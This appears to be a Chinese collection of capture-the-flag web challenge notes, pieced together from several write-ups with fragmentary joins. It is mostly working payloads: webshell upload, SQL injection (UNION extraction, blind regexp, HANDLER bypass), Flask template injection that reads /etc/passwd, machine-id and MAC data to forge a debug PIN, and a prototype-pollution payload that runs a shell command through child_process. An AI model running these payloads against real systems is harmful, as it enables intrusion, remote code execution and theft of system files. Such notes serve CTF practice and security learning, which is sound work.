上传一句话,蚁剑直连,bash直接cat /flag,说没权限折腾了下Linux提权,大马提权。
payload:
cd /
cat /readflag
: (
payload admin' or 1#
进入admin,成功访问招聘界面blank page界面
key处存在sql注入
有5个字段,显位在2
可以猜测后端查询语句可能类似:
select * from user where id='$id'
;
所以接下来的注入语句
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5#
1'union select 1,(select flaaag from flag),3,4,5#
fuzz一下,发现是
过滤了= select < >的盲注
两种payload:
if((substr((fl4g),%s,1) regexp “^%s”)
ascii(mid(fl4g,{},1)) in ({})
看大佬的wp,handler代替被过滤的select
payload: 在这里插入代码片
?inject=1’;handler FlagHere open as a;handler a read first;
https://blog.csdn.net/chasingin/article/details/104473304/
查看提示界面源码
参考文章:Flask debug pin安全问题
解密时提交错误的字符串发现有debug界面,修改需要我们输入pin码
flask读取文件的payload:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
加密界面加密,再decode出现
获取machine-id:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532
获取Mac地址:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
得到:
02:42:ac:12:00:06
十进制:2485377957897
19418889118999059
app.py的绝对路径可以在debug看到
ps:
可以用ssit读取文件
{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘filename’, ‘r’).read() }}{% endif %}{% endfor %}
读不出来!!
https://xz.aliyun.com/t/2553
套用文中exp:
最后:
0x00 知识点
javascript大小写特性绕过+原型链污染
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
0x01
于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN
利用js特性:
"ı".toUpperCase() == 'I'
成功注册
然后就要用原型链污染了
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}
出现success弹窗
去访问info:
/flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件flag.txt
知识点:thinkphp6.0任意文件操作漏洞
参考文章:https://paper.seebug.org/1114/